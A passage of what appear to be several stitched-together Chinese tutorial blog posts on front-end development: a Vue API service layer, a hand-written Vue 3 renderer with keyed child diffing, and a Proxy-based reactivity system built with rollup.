} catch (err) {
this.handleErrors(err);
}
}
}
基础模块服务:
class ModelApiService extends ReadOnlyApiService {
constructor(resource) {
super(resource);
}
async post(data = {}) {
try {
const response = await fetch(this.getUrl(), {
method: "POST",
body: JSON.stringify(data)
});
const { id } = response.json();
return id;
} catch (err) {
this.handleErrors(err);
}
}
async put(id, data = {}) {
if (!id) throw Error("Id is not provided");
try {
const response = await fetch(this.getUrl(id), {
method: "PUT",
body: JSON.stringify(data)
});
const { id: responseId } = response.json();
return responseId;
} catch (err) {
this.handleErrors(err);
}
}
async delete(id) {
if (!id) throw Error("Id is not provided");
try {
await fetch(this.getUrl(id), {
method: "DELETE"
});
return true;
} catch (err) {
this.handleErrors(err);
}
}
}
两个子类的区别在于,ReadOnlyApiService
只做读取数据的操作:
fetch
查找资源get
根据参数id查找资源ModelApiService
扩展了 ReadOnlyApiService
的能力,新增了三个方法写入数据:
post
新增资源put
查找资源delete
删除资源接下来可以针对不同模块的请求逻辑做扩展方法,例如 UsersApiService
资源服务:
class UsersApiService extends ReadOnlyApiService {
constructor() {
super("users");
}
get(id){}
add(id){}
delet(id){}
update(id){}
}
将接口服务注入到vue中,这里通过mixin的方式注入,编写plugins/mixins.js
如下:
import Vue from "vue";
import { $api } from "@/services/api";
// 全局注入
Vue.mixin({
computed: {
$api: () => $api
}
});
在 main.js
中引入:
import Vue from "vue";
import App from "./App.vue";
import "@/plugins/mixins";
store也是经常使用接口服务的地方,编写plugins/storePlugins.js
如下:
import { $api } from "@/services/api";
export default function(store) {
try {
store.$api = $api;
} catch (e) {
console.error(e);
}
}
在store中引入:
...
import storePlugins from "@/plugins/storePlugins";
...
export default new Vuex.Store({
plugins: [storePlugins],
state: {
...
注入完成后,在组件和store中都可以通过this.$api
方便的调用接口服务了。
const { createApp, h, reactive } = Vue
const App = {
setup() {
let state = reactive({flag: true})
setTimeout(() => {
state.flag = !state.flag;
}, 1000);
return ()=>(state.flag ? h("div",{style:{color:"#f00"}},"hello") : h("p",{style:{background:"#0f0"}},"world"))
},
}
let app = createApp(App);
app.mount("#app")
function setupRenderEffect(instance, container) {
effect(() => {
if (!instance.isMounted) {
let subTree = instance.subTree = instance.render();
patch(null, subTree, container)
instance.isMounted = true
} else {
// 更新操作
let prevTree = instance.subTree
let nextTree = instance.render()
patch(prevTree, nextTree, container)
}
})
}
const isSameVnodeType = (n1, n2) => {
return n1.type == n2.type && n1.key == n2.key
}
const patch = (n1, n2, container) => {
// 类型不一样 key 不一样不复用
if (n1 && !isSameVnodeType(n1, n2)) {
// 删除旧节点
hostRemove(n1.el)
// 旧节点重置为 null
n1 = null
}
// 开始渲染
let { shapeFlag } = n2
if (shapeFlag & ShapeFlags.ELEMENT) {
// 1
processElement(n1, n2, container)
} else if (shapeFlag & ShapeFlags.STATEFUL_COMPONENT) {
processComponent(n1, n2, container)
}
}
复用节点后 比较属性
return ()=>{
if(state.flag){
return h("div",{style:{color:"#f00"}},"hello")
}else{
return h("div",{style:{background:"#0f0"}},"world")
}
}
const patchElement = (n1, n2, container) => {
// 比较两个虚拟节点,并且复用老节点
let el = n2.el = n1.el;
// 对比属性
const oldProps = n1.props || {};
const newProps = n2.props || {};
patchProps(oldProps,newProps,el);
}
const patchProps = (oldProps, newProps, el) => {
if (oldProps !== newProps) {
for (let key in newProps) {
const prev = oldProps[key]
const next = newProps[key]
if (prev !== next) {
hostPatchProp(el, key, prev, next)
}
}
// 旧属性新的props中没有,需要移除
for (let key in oldProps) {
if (!(key in newProps)) {
hostPatchProp(el, key, oldProps[key], null)
}
}
}
}
子节点对比条件
return ()=>{
if(state.flag){
return h("div",{style:{color:"#f00"}},"hello")
}else{
return h("div",{style:{background:"#0f0"}},[
h("div",{},"chen"),
h("div",{},"wei"),
h("div",{},"long"),
])
}
}
交给 patchChildren
处理
const patchElement = (n1, n2, container) => {
// 比较两个虚拟节点,并且复用老节点
let el = n2.el = n1.el;
const oldProps = n1.props || {};
const newProps = n2.props || {};
patchProps(oldProps,newProps,el);
patchChildren(n1, n2, el);
}
const patchChildren = (n1,n2,el)=>{
const c1 = n1.children
const c2 = n2.children
const prevShapeFlag = n1.shapeFlag
const nextShapeFlag = n2.shapeFlag
// 旧的是文本,新的是文本
if(nextShapeFlag & ShapeFlags.TEXT_CHILDREN){
// 新的是文本
if(c2 !== c1){
hostSetElementText(el,c2);
}
} else {
// 新的是数组 旧的是数组
if(prevShapeFlag & ShapeFlags.ARRAY_CHILDREN){
patchKeyedChildren(c1,c2,el)
}else{
// 老的是文本 新的是数组
hostSetElementText(el,""); // 删掉旧内容
mountChildren(c2,el)
}
}
}
新旧值前面节点相同:
[a, b, c]
[a, b, c, d]
let i=0;
let e1 = c1.length-1;
let e2 = c2.length-1;
while(i<=e1 && i<=e2){// 谁先比对完毕就结束
const n1 = c1[i];
const n2 = c2[i];
if(isSameVnodeType(n1,n2)){
patch(n1,n2,el); // 递归比较子节点
}else{
break;
}
i++;
}
新旧值后面面节点相同:
[a, b, c]
[d, a, b, c]
while(i<= e1 && i<=e2){
const n1 = c1[e1];
const n2 = c2[e2];
if(isSameVnodeType(n1,n2)){
patch(n1,n2,el)
}else{
break;
}
e1--;
e2--;
}
// 新增的节点,在i和e2之间或i=e2
if(i>e1){
if(i<=e2){
// 获取插入参照物
// 前面值都一样,e2值不变:e2+1 大于 数组长度(c2.length)
// 后面值都一样,e2向前取:e2+1 小于 数组长度(c2.length)
const nextPos = e2+1;
const anchor = nextPos < c2.length ? c2[nextPos].el : null;
console.log(i, e1, e2, anchor)
while(i<=e2){
patch(null, c2[i], el, anchor);
i++
}
}
// 新值小于旧值 删除情况, 判断条件:i>e2
// abcd abc (i=3 e1=3 e2=2)
} else if(i>e2){
while(i<=e1){
hostRemove(c1[i].el);
i++;
}
}
patchKeyedChildren
方法如下:
const patchKeyedChildren = (c1,c2,el)=>{
// 新旧都有children元素
// 1) 尽可能复用两个 children
// abc
// abcd
// i = 3
let i=0;
let e1 = c1.length-1;
let e2 = c2.length-1;
while(i<=e1 && i<=e2){// 谁先比对完毕就结束
const n1 = c1[i];
const n2 = c2[i];
if(isSameVnodeType(n1,n2)){
patch(n1,n2,el); // 递归比较子节点
}else{
break;
}
i++;
}
// 2) abc i=0 e1=2 e2=3
// dabc i=0 e1=-1 e2=0
while(i<= e1 && i<=e2){
const n1 = c1[e1];
const n2 = c2[e2];
if(isSameVnodeType(n1,n2)){
patch(n1,n2,el)
}else{
break;
}
e1--;
e2--;
}
// 3) 前后都不一样的情况
// 新值大于旧值 新增情况,判断条件:i大于e1
// abc => abcd (i=3 e1=2 e2=3)
// abc => dabc (i=0 e1=-1 e2=0)
if(i>e1){
// 新增的节点,在i和e2之间或i=e2
if(i<=e2){
// 获取插入参照物
// 前面值都一样,e2值不变:e2+1 大于 数组长度(c2.length)
// 后面值都一样,e2向前取:e2+1 小于 数组长度(c2.length)
const nextPos = e2+1;
const anchor = nextPos < c2.length ? c2[nextPos].el : null;
console.log(i, e1, e2, anchor)
while(i<=e2){
patch(null, c2[i], el, anchor);
i++
}
}
// 新值小于旧值 删除情况, 判断条件:i>e2
// abcd abc (i=3 e1=3 e2=2)
} else if(i>e2){
while(i<=e1){
hostRemove(c1[i].el);
i++;
}
}else{
// 乱序比对
}
}
前后子节点值变化:
旧: a,b,c,d,e,f,g
新: a,b,e,d,c,h,f,g
const App = {
setup() {
let state = reactive({ flag: true })
setTimeout(() => {
state.flag = !state.flag
}, 1000)
return () => {
if (state.flag) {
return h('div', {}, [
h('div', { key: 'A' }, 'A'),
h('div', { key: 'B' }, 'B'),
h('div', { key: 'C' }, 'C'),
h('div', { key: 'D' }, 'D'),
h('div', { key: 'E' }, 'E'),
h('div', { key: 'F' }, 'F'),
h('div', { key: 'G' }, 'G'),
])
} else {
return h('div', {}, [
h('div', { key: 'A' }, 'A'),
h('div', { key: 'B' }, 'B'),
h('div', { key: 'E' }, 'E'),
h('div', { key: 'D' }, 'D'),
h('div', { key: 'C' }, 'C'),
h('div', { key: 'H' }, 'H'),
h('div', { key: 'F' }, 'F'),
h('div', { key: 'G' }, 'G'),
])
}
}
},
}
// 乱序比对
// ab [cde] fg // s1=2 e1=4
// ab [edch] fg // s2=2 e2=5
const s1 = i
const s2 = i
// 新的索引 和 key 做成一个映射表
const keyToNewIndexMap = new Map()
for (let i = s2; i <= e2; i++) {
const nextChild = c2[i]
if (nextChild.key != null) {
keyToNewIndexMap.set(nextChild.key, i)
}
}
const toBePatched = e2 - s2 + 1 // 需要处理的节点总数
const newIndexToOldMapIndex = new Array(toBePatched).fill(0)
// 遍历老节点
for (i = s1; i <= e1; i++) {
const prevChild = c1[i]
let newIndex = keyToNewIndexMap.get(prevChild.key)
if (newIndex == undefined) {
// 旧值在新值中不存在,直接删除
hostRemove(prevChild.el)
} else {
newIndexToOldMapIndex[newIndex - s2] = i + 1
patch(prevChild, c2[newIndex], el)
}
}
let increasingIndexSequence = getSequence(newIndexToOldMapIndex)
let j = increasingIndexSequence.length - 1;
for (i = toBePatched - 1; i >= 0; i--) {
const nextIndex = s2 + i // [edch] 找到h索引
const nextChild = c2[nextIndex] // 找到h
// 找到当前元素的下一个元素
let anchor = nextIndex + 1 < c2.length ? c2[nextIndex + 1].el : null
if (newIndexToOldMapIndex[i] == 0) {
// 新元素,直接创建插入到当前元素的下一个
patch(null, nextChild, el, anchor)
} else {
// 根据参照物直接将节点移动过去,所有节点都需要移动
// 没有考虑不需要动的节点情况
// hostInsert(nextChild.el, el, anchor)
// 最长递增子序列优化
if (j < 0 || i != increasingIndexSequence[j]) {
hostInsert(nextChild.el, el, anchor)
} else {
j--;
}
}
}
function getSequence(arr):number[] {
const result = [0]
const p = arr.slice()
let i, j, u, v, c
const len = arr.length
for (i = 0; i < len; i++) {
const arrI = arr[i]
if (arrI !== 0) {
j = result[result.length - 1]
// 拿最后一项的值 和 当前这项做比较
if (arr[j] < arrI) {
p[i] = j // 保存递增索引
result.push(i)
continue
}
}
u = 0
v = result.length - 1 // 二分查找 找索引
while (u < v) {
c = ((u + v) / 2) | 0
if (arr[result[c]] < arrI) {
u = c + 1
} else {
v = c
}
}
// 确定索引, 用小的替换从、
if (arrI < arr[result[u]]) {
if (u > 0) {
console.log(p, result[u - 1], result, u)
p[i] = result[u - 1]
}
result[u] = i
}
}
u = result.length
v = result[u - 1]
while (u-- > 0) {
result[u] = v
v = p[v]
}
return result
}
console.log(getSequence([1, 2, 6, 8, 12, 5, 7]))
]]><div id="app"></div>
<script src="/node_modules/vue/dist/vue.global.js"></script>
<script>
const { createApp, h, reactive } = Vue;
const App = {
setup() {
const state = reactive({ name: 'chenwl' })
return () => { // 返回的就是render函数
return h('div', {style:{color:'red'}}, `我是 ${state.name}`)
}
}
}
createApp(App).mount('#app');
</script>
runtime-dom
文件目录
- runtime-dom
- index.ts
- nodeOpts.ts
- patchProp.ts
runtime-dom
的作用是提供DOM和元素属性的操作
nodeOpts
如下:
export const nodeOpts = {
createElement(type){
return document.createElement(type)
},
insert(child, parent, anchor=null){
parent.insertBefore(child,anchor)
},
remove(child){
const parent = child.parentNode;
if(parent){
parent.removeChild(child)
}
},
setElementText(el,content){
el.textContent = content;
},
createTextNode(content){
return document.createTextNode(content);
}
}
patchProp
如下:
function patchStyle(el, prev, next) {
const style = el.style
if (!next) {
el.removeAttribute('style')
} else {
for (let key in next) {
style[key] = next[key]
}
if (prev) {
for (let key in prev) {
if (!next[key]) {
style[key] = ''
}
}
}
}
}
function patchClass(el, next) {
if (next == null) {
next = ''
}
el.className = next
}
function patchAttr(el, key, value) {
if (value == null) {
el.removeAttribute(key)
} else {
el.setAttribute(key,value)
}
}
export function patchProp(el, key, prevValue, nextValue) {
switch (key) {
case 'style':
patchStyle(el, prevValue, nextValue)
break
case 'className':
patchClass(el, nextValue)
break
default:
patchAttr(el, key, nextValue)
}
}
runtime-dome/index.ts
核心:
import { createRenderer } from '../runtime-core/index'
import { nodeOpts } from './nodeOpts'
import { patchProp } from './patchProp'
function ensureRenderer() {
// 传入一些dom的api操作,创建、删除、添加、属性更新
return createRenderer({ ...nodeOpts, patchProp })
}
export function createApp(rootComponent) {
// 核心调用内层 runtime-core 中的createApp
const app = ensureRenderer().createApp(rootComponent)
const { mount } = app
app.mount = function (container) {
// 先清空内容
container = document.querySelector(container);
container.innerHTML = "";
// 调用底层 mount 方法
mount(container)
}
return app
}
runtime-core
的作用是运行时核心和平台本身无关
runtime-core
文件目录如下:
-runtime-core
- index.ts
- apiCreateApp.ts
- component.ts
- h.ts
- renderer.ts
- vnode.ts
index.ts
导出方法如下:
export { createRenderer } from "./renderer";
export { h } from "./h"
createRenderer
负责提供渲染函数render
, 并导出 createAppApi
方法:
// options 参数包含平台操作方法(nodeOpts,patchProp)
function createRenderer(options){
const render = (vnode, container)=>{
...
}
return {
createApp: createAppApi(render),
}
}
createAppApi
如下:
import { createVNode } from './vnode'
export function createAppApi(render) {
return (component) => {
let app = {
mount(container) {
const vnode = createVNode(component) // 根据组件创建虚拟节点
render(vnode,container) // 通过虚拟节点进行渲染
},
}
return app
}
}
定义虚拟节点的类型 shared/shapeFlags.ts
:
export const enum ShapeFlags {
ELEMENT = 1, // 普通元素
FUNCTION_COMPONENT = 1 << 1, // 函数组件
STATEFUL_COMPONENT = 1 << 2, // 带状态组件
TEXT_CHILDREN = 1 << 3, // 文本孩子
ARRAY_CHILDREN = 1 << 4 // 数组孩子
}
vnode.ts
如下:
import { isArray, isObject, isString, ShapeFlags } from '../shared/index'
export function createVNode(type, props = {} as any, children = null) {
// 判断 shapeFlag 是组件还是元素
const shapeFlag = isString(type)
? ShapeFlags.ELEMENT
: isObject(type)
? ShapeFlags.STATEFUL_COMPONENT
: 0
let vnode = {
type,
props,
children,
component: null, // 组件实例,用于保存组件对应实例
el: null,
key: props.key,
shapeFlag, // 描述虚拟节点的类型
}
if (isArray(children)) {
vnode.shapeFlag |= ShapeFlags.ARRAY_CHILDREN // 16
} else {
// 组件里面可能是空也可能是文本
vnode.shapeFlag |= ShapeFlags.TEXT_CHILDREN // 8
}
return vnode;
}
这里使用了|= 相当于对类型取了合集
h.ts
导出虚拟dom创建方法:
import { createVNode } from './vnode'
export function h(type, props, children) {
return createVNode(type, props, children)
}
使用 patch
拆分 组件和元素的初始化工作:
const processElement = (n1, n2, container) => {
// 元素初始化
}
const processComponent = (n1, n2, container) => {
// 组件初始化
}
/*
* @params n1 上一次渲染vnode
* @params n2 本次渲染vnode
* @params container 容器dom
*/
const patch = (n1, n2, container) => {
// 开始渲染
let { shapeFlag } = n2
if (shapeFlag & ShapeFlags.ELEMENT) {
processElement(n1, n2, container)
} else if (shapeFlag & ShapeFlags.STATEFUL_COMPONENT) { // 全是1 才是1
processComponent(n1, n2, container)
}
}
const render = (vnode, container) => {
// 判断 初次渲染 || 更新渲染
patch(null, vnode, container)
}
const processComponent = (n1, n2, container) => {
// 组件初始化
if(n1 == null){
mountComponent(n2,container);
}else{
// 组件更新逻辑
}
}
component.ts
文件负责处理跟组件相关的方法。
创建组件实例:
export function createComponentInstance(vnode) {
const instance = {
type: vnode.type,
props: {},
vnode,
subTree: null, // 组件对应的子元素虚拟节点 _node $vnode
render: null, // 渲染函数
setupState: null, // setup 返回的状态
isMounted: false, // 组件是否挂载
}
return instance;
}
初始化组件:
const setupComponent = (instance) => {
setupStatefulComponent(instance);
}
const setupStatefulComponent = (instance) => {
const Component = instance.type;
const { setup } = Component;
if (setup) {
const setUpResult = setup(); // 获取setup返回值
handleSetupResult(instance, setUpResult); // 处理返回值
}
}
const handleSetupResult = (instance, setUpResult) => {
if (isFunction(setUpResult)) {
instance.render = setUpResult; // 如果是函数就是render函数
} else if (isObject(setUpResult)) {
instance.setupState = setUpResult; // 就是setup返回的状态
}
finishComponentSetup(instance); // 调用render
}
const finishComponentSetup = (instance) => {
const Component = instance.type;
if (Component.render) {
instance.render = Component.render;
} else if (!instance.render) {
// 模板编译
}
}
回到 render.ts
:
const mountComponent = (vnode, container) => {
// 根据虚拟dom创建实例
const instance = (vnode.component = createComponentInstance(vnode))
// 找到组件setup方法
setupComponent(instance)
// 设置渲染effect
setupRenderEffect(instance, container)
}
创建渲染effect:
function setupRenderEffect(instance, container) {
effect(() => {
if (!instance.isMounted) {
// 调用render方法拿到组件中返回的内容
let subTree = (instance.subTree = instance.render())
patch(null, subTree, container)
instance.isMounted = true
} else {
// 组件更新
console.log('update')
}
})
}
const processElement = (n1, n2, container) => {
// 元素初始化
if (n1 == null) {
mountElement(n2,container);
}
}
// 创建真实DOM
const mountElement = (vnode, container) => {
// 获取操作DOM方法
const {
createElement: hostCreateElement,
insert: hostInsert,
remove: hostRemove,
setElementText: hostSetElementText,
createTextNode: hostCreateNode,
patchProp: hostPatchProp,
} = options
let { shapeFlag, props, children, type } = vnode
// 将真实节点和虚拟节点关联起来
let el = (vnode.el = hostCreateElement(type))
// 渲染子元素
if (shapeFlag & ShapeFlags.TEXT_CHILDREN) {
hostSetElementText(el, children)
} else {
mountChildren(children, el)
}
if (props) {
for (let key in props) {
hostPatchProp(el, key, null, props[key])
}
}
// 插入操作
hostInsert(el, container)
}
// 挂载子元素
const mountChildren = (children, container) => {
for (let i = 0; i < children.length; i++) {
patch(null, children[i], container)
}
}
]]>npm install rollup rollup-plugin-typescript2 @rollup/plugin-node-resolve @rollup/plugin-replace rollup-plugin-serve typescript -D
包名 | 功能 |
---|---|
rollup | 打包工具 |
rollup-plugin-typescript2 | 解析ts插件 |
@rollup/plugin-node-resolve | 解析第三方模块 |
@rollup/plugin-replace | 替换插件 |
rollup-plugin-serve | 启动本地服务插件 |
生成 tsconfig.json
文件:
npx tsx --init
修改 tsconfig.json
配置属性 module
为 ESNext
(默认在浏览器运行)
可以设置
strict
属性为false,让 ts 支持 any 类型,scouceMap
需要设置成 true,方便调试代码
根目录新建 rollup.config.js
配置文件,并输入下面内容:
import path from "path";
import ts from "rollup-plugin-typescript2";
import { nodeResolve } from "@rollup/plugin-node-resolve";
import replace from "@rollup/plugin-replace";
import serve from "rollup-plugin-serve";
export default {
input: 'src/index.ts',
output: {
name: 'VueReactivity',
format: 'umd',
file: path.resolve('dist/VueReactivity.js'),
sourcemap: true,
},
plugins: [
nodeResolve({
extensions: ['.js', '.ts'],
}),
ts({
tsconfig: path.resolve(__dirname, 'tsconfig.json'),
}),
replace({
"process.env.NODE_ENV": JSON.stringify("development"),
}),
serve({
open: true,
openPage: "/public/index.html",
port: 3000,
contentBase: ""
})
],
}
新建入口文件srx/index.ts
和模板文件public/index.html
。
模板文件 index.html 需要手动引入打包后的 /dist/vue.js
package.json
添加打包命令:
"scripts": {
"dev": "rollup -c -w"
}
先看看Vue的reactivity
模块实现效果,先安装 reactivity
:
npm install @vue/reactivity
测试 public/index.html
内容:
<div id="app"></div>
<script src="/node_modules/@vue/reactivity/dist/reactivity.global.js"></script>
<script>
const {reactive, effect} = VueReactivity;
const state = reactive({name:"chenwl",age:12,address:"guangzhou1"});
effect(()=>{
app.innerHTML = `${state.name} 今年 ${state.age} 岁`
});
// 当 effect 函数中依赖的数据发生变化 effect 会重新执行
setTimeout(() => {
state.name = "change"
}, 1000);
</script>
核心:当读取文件时,做依赖收集,当数据变化时重新执行effect
-src
- reactivity
- effect.ts
- reactive.ts
- index.ts
- shared
- index.ts //通用方法
- index.ts
reactivity/index.ts
export { reactive } from './reactive'
export { effect } from './effect'
src/index.ts
export * from "./reactivity/index"
reactive/reactive.ts
import { isObject } from "../shared/index"
const mutableHandlers = {
get(){},
set(){}
}
export function reactive(target){
// 将目标对象变成响应式对象,Proxy
return createReactiveObject(target, mutableHandlers)
}
// 核心:当读取文件时,做依赖收集,当数据变化时重新执行effect
function createReactiveObject(target, baseHandlers) {
// 如果是不是对象,直接返回
if(!isObject(target)) return target;
return new Proxy(target, baseHandlers)
}
简单的实现下 isObject
方法:
export const isObject = (val) => typeof val === 'object' && val !== null
Proxy
直接监听对象而非属性,只是对外层对象做代理,默认不会递归,不会重写对象中的属性Proxy
可以直接监听数组的变化Proxy
返回的是一个新对象,我们可以只操作新的对象达到目的,而 Object.defineProperty 只能遍历对象属性直接修改为防止对象被重复代理,这里使用WeakMap
创建代理元素的映射表,如果对象被代理过,则直接返回:
// 映射表
const proxyMap = new WeakMap()
function createReactiveObject(target, baseHandlers) {
if (!isObject(target)) return target
// 从映射表中取出,判断是否被代理过
const existingProxy = proxyMap.get(target)
if (existingProxy) return existingProxy
const proxy = new Proxy(target, baseHandlers)
// 放入代理对象
proxyMap.set(target, proxy)
return proxy
}
WeakMap 相对于 Map 也是键值对集合,但是 WeakMap 的key 只能是非空对象(non-null object),WeakMap 对它的 key 仅保持弱引用,也就是说它不阻止垃圾回收器回收它所引用的 key,WeakMap 最大的好处是可以避免内存泄漏。一个仅被 WeakMap 作为 key 而引用的对象,会被垃圾回收器回收掉。
为了方便管理代理逻辑,这里拆分 mutableHandlers
对象到新文件/reactivity/haseHandler.ts
中。
reactivity/haseHandler.ts
function createGetter() {
return function get(target, key, reaciver) {}
}
function createSetter() {
return function set(target, key, value, receiver) {}
}
const get = createGetter();
const set = createSetter()
export const mutableHandlers = {
get, // 获取对象会执行此方法
set, // 设置属性值会执行此方法
}
set 和 get 方法通过工厂函数创建,工厂函数的可以方便参数的传参和预置
在 reactive.ts
文件中引入:
import { mutableHandlers } from './baseHandler'
export function reactive(target) {
// 将目标对象变成响应式对象,Proxy
return createReactiveObject(target, mutableHandlers)
}
当代理对象的属性被获取时:
function createGetter() {
return function get(target, key, reaciver) {
const res = Reflect.get(target, key, reaciver) // 相当于 target[key];
// 不对 symbol 类型做处理
if (typeof key === 'symbol') return res;
console.log('此时代理对象的属性被获取')
// 如果是对象,进行递归代理
if (isObject(res)) return reactive(res);
return res
}
}
在对属性进行设置之前,需要判断是修改值
还是新增值
,并且需要注意,如果是数组,需要判断修改的方式是否通过索引添加:
let arr = [1];
arr[10] = 10; // 通过索引新增值的数组
所以判断之前,还需要对target
进行判断,如果是数组,需要增加索引判读。
数组索引比原数组长度小 ? 修改 : 新增
通过target[key]
先获取旧值,然后再跟新值比对判断。
代码逻辑:
function createSetter() {
return function set(target, key, value, receiver) {
const oldValue = target[key] // 获取旧值,看下有没有这个属性
// 如果是数组,根据索引判断是修改还是新增
const hasKey =
isArray(target) && isInteger(key)
? Number(key) < target.length
: hasOwn(target, key)
const result = Reflect.set(target, key, value, receiver);
if(!hasKey){
console.log("新增属性");
}else if (hasChanged(value, oldValue)) {
console.log('修改属性')
}
return result
}
}
通用方法:
export const isArray = Array.isArray
export const isInteger = (key) => '' + parseInt(key, 10) === key
const hasOwnProperty = Object.prototype.hasOwnProperty;
export const hasOwn = (val, key) => hasOwnProperty.call(val,key);
export const hasChanged = (value, oldValue) => value !== oldValue
修改模板 public/index.html
下的引用,可以看到控制台输出对应的属性设置操作。
<script src="../dist/VueReactivity.js"></script>
<script>
const { reactive, effect } = VueReactivity
const state = reactive({ name: 'chenwl', age: 12, address: 'guangzhou1' })
state.name = 'change' // 修改属性
state.newProp = 'newProp' // 新增属性
const stateArr = reactive(['a', 'b', 'c'])
stateArr[0] = 'array change' // 数组修改
stateArr[3] = 'add array' // 数组新增
</script>
回到开始写的 public/index.html
内容:
<div id="app"></div>
<script src="../dist/VueReactivity.js"></script>
<script>
const { reactive, effect } = VueReactivity
const state = reactive({ name: 'chenwl', age: 12 })
effect(()=>{
app.innerHTML = `${state.name} 今年 ${state.age} 岁`
});
setTimeout(() => {
state.name = 'change' // 修改属性
}, 1000)
</script>
页面初始化后,app
标签的内容为 chenwl 今年 12 岁
,一秒后修改为:change 今年 12 岁
。
当代理对象的值发生改变时,
effect
函数参数里面用户自定义的方法也会执行
上面的逻辑可以得到,effect
方法第一个参数为用户自定义的方法,里面存放用户自己的逻辑,这个方法在下面的情况下会执行:
修改 effect.ts
如下:
export function effect(fn, options: any = {}) {
const effect = createReactiveEffect(fn, options)
if (!options.lazy) {
effect()
}
return effect
}
function createReactiveEffect(fn, options) {
const effect = function () {
return fn() // 用户自己写的逻辑,内部会对数据进行取值操作
}
return effect
}
声明变量 activeEffect
存储当前执行的 effect
函数:
let activeEffect; // 用来存储当前的effect函数
function createReactiveEffect(fn, options) {
const effect = function () {
activeEffect = effect
return fn()
}
return effect
}
fn 函数执行时,函数上下文的响应式变量会做取值(
getter
)操作,此时可以通过activeEffect
获取当前响应式变量关联的effect
// fn函数执行,触发响应式变量`state`的取值操作
effect(() => {
app.innerHTML = `${state.name} 今年 ${state.age} 岁`
})
...
// baseHandler.ts
function createGetter(){
return function get(target, key, reaciver) {
// 触发取值操作
}
}
为了将响应式属性和effect进行关联,这里声明 track
函数进行依赖收集:
// effect.ts
export function track(target,key){
if(activeEffect === undefined) return;
}
当调用fn()
时,会执行用户传入的函数,此时会进行取值操作,我们在这里实现依赖收集功能:
// baseHandler.ts
function createGetter() {
return function get(target, key, reaciver) {
console.log('此时代理对象的属性被获取')
track(target, key)
}
}
建立映射表,存储 effect
更新函数 和 响应式属性
的关系:
// 映射表
const targetMap = new WeakMap();
// targetMap = {target:{key:[effect,effect]}}
// 属性和effect关联
export function track(target, key) {
if (!activeEffect) return
let depsMap = targetMap.get(target)
if (!depsMap) {
targetMap.set(target, (depsMap = new Map()))
}
let dep = depsMap.get(key)
if (!dep) {
depsMap.set(key, (dep = new Set()))
}
if (!dep.has(activeEffect)) {
dep.add(activeEffect)
activeEffect.deps.push(dep)
}
}
let activeEffect; // 用来存储当前的effect函数
+let uid = 0;
function createReactiveEffect(fn, options) {
const effect = function () {
activeEffect = effect
return fn()
}
+ effect.id = uid++ // effect标识
+ effect.deps = [] // 用来表示 effect 中依赖了哪些属性
+ effect.options = options // effect中参数
return effect
}
当依赖收集完成,需要清空当前的 activeEffect
方法:
function createReactiveEffect(fn, options) {
const effect = function () {
+ try {
activeEffect = effect
return fn()
+ } finally {
+ activeEffect = null
+ }
}
...
return effect
}
export function track(target, key) {
if (!activeEffect) return; // 不存在或被清空不执行映射关系存储
}
但是如果出现下面的情况:
effect(()=>{
state.name;
effect(()=>{
state.age
});
state.address
})
内部的effect
方法在收集完依赖后,就会清空activeEffect
方法,导致最后的state.address
没有被收集。
栈结构清空,保证清空的是最后一个effect
let activeEffect
let uid = 0
+ const effectStack = []
function createReactiveEffect(fn, options) {
const effect = function () {
try {
activeEffect = effect
+ effectStack.push(activeEffect)
return fn()
} finally {
+ effectStack.pop()
+ activeEffect = effectStack[effectStack.length - 1]
}
}
effect.id = uid++
effect.deps = []
effect.options = options
return effect
}
处理死循环:
effect(() => {
state.age++
app.innerHTML = `${state.name} 今年 ${state.age} 岁`
})
state.age
一直在变化会导致effect不断的递归执行,为防止这种情况,如果effectStack
存储了同样的effect
略过:
const effectStack = []
function createReactiveEffect(fn, options) {
const effect = function () {
+ if (effectStack.includes(effect)) return
try {} finally {}
}
...
}
依赖收集后,接下来触发函数更新,这里实现trigger
函数触发更新:
export enum TriggerType {
add = 'add',
set = 'set',
}
export function trigger(target, type:TriggerType, key, value?, oldValue?) {
const depsMap = targetMap.get(target)
if (!depsMap) return
const run = (effects) => {
if (effects) effects.forEach((effect) => effect())
}
if (key != void 0) {
run(depsMap.get(key))
}
}
设置响应式属性时,触发 trigger
function createSetter() {
return function set(target, key, value, receiver) {
const oldValue = target[key]
...
if (!hasKey) {
// 新增属性
+ trigger(target, TriggerType.add, key, value)
} else if (hasChanged(value, oldValue)) {
// 修改属性
+ trigger(target, TriggerType.set, key, value, oldValue)
}
...
}
}
情况一:收集和修改都是数组属性(length)
const state = reactive([1, 2, 3])
effect(() => {
app.innerHTML = state.length
})
setTimeout(() => {
state.length = 100
}, 1000)
结果:触发更新
情况二:修改数组长度,没有收集数组属性
const state = reactive([1, 2, 3])
effect(() => {
app.innerHTML = state[2]
})
setTimeout(() => {
state.length = 1
}, 1000)
结果:属性修改,没有触发更新
修改条件判断:
if (key === 'length' && isArray(target)) {
depsMap.forEach((dep, key) => {
if (key === 'length' || key >= value) {
run(dep)
}
})
} else {
if (key != void 0) {
run(depsMap.get(key))
}
}
情况三:通过索引增加数组选项,收集数组长度小于修改长度
const state = reactive([1, 2, 3])
effect(() => {
app.innerHTML = state
})
setTimeout(() => {
state[10] = 10
}, 1000)
结果:通过索引修改,没有触发更新
添加条件判断:
switch (type) {
case 'add':
if (isArray(target)) {
// 数组通过索引增加选项
if (isInteger(key)) {
run(depsMap.get('length'))
}
}
}
完整的 trigger
函数:
export enum TriggerType {
add = 'add',
set = 'set',
}
export function trigger(target, type: TriggerType, key, value?, oldValue?) {
const depsMap = targetMap.get(target)
if (!depsMap) return
const run = (effects) => {
if (effects) effects.forEach((effect) => effect())
}
if (key === 'length' && isArray(target)) {
depsMap.forEach((dep, key) => {
if (key === 'length' || key >= value) {
run(dep)
}
})
} else {
if (key != void 0) {
run(depsMap.get(key))
}
switch (type) {
case 'add':
if (isArray(target)) {
// 数组通过索引增加选项
if (isInteger(key)) {
run(depsMap.get('length'))
}
}
}
}
}
通过下面的例子来回顾下vue3响应式执行的过程
const { reactive, effect } = VueReactivity
// reactive 方法将参数变成响应式对象
const state = reactive({ name: 'chenwl' })
// effect 内部如何操作
effect(() => {
app.innerHTML = `姓名:${state.name}`
})
setTimeout(() => {
state.name = 'change'
}, 1000)
首先 reactive 将参数变成响应式对象并返回,接着就是effect函数的执行过程
let activeEffect;
const effect = function (fn){
console.log("1、effect 函数执行");
try{
console.log("2、保存当前effect函数到 activeEffect");
activeEffect = effect;
console.log("3、fn 函数执行");
fn()
}finally{
// 清空 activeEffect
}
}
fn()
函数执行,state.name
作为响应式属性会进入它的getter
访问器:
function createGetter() {
return function get(target, key, reaciver) {
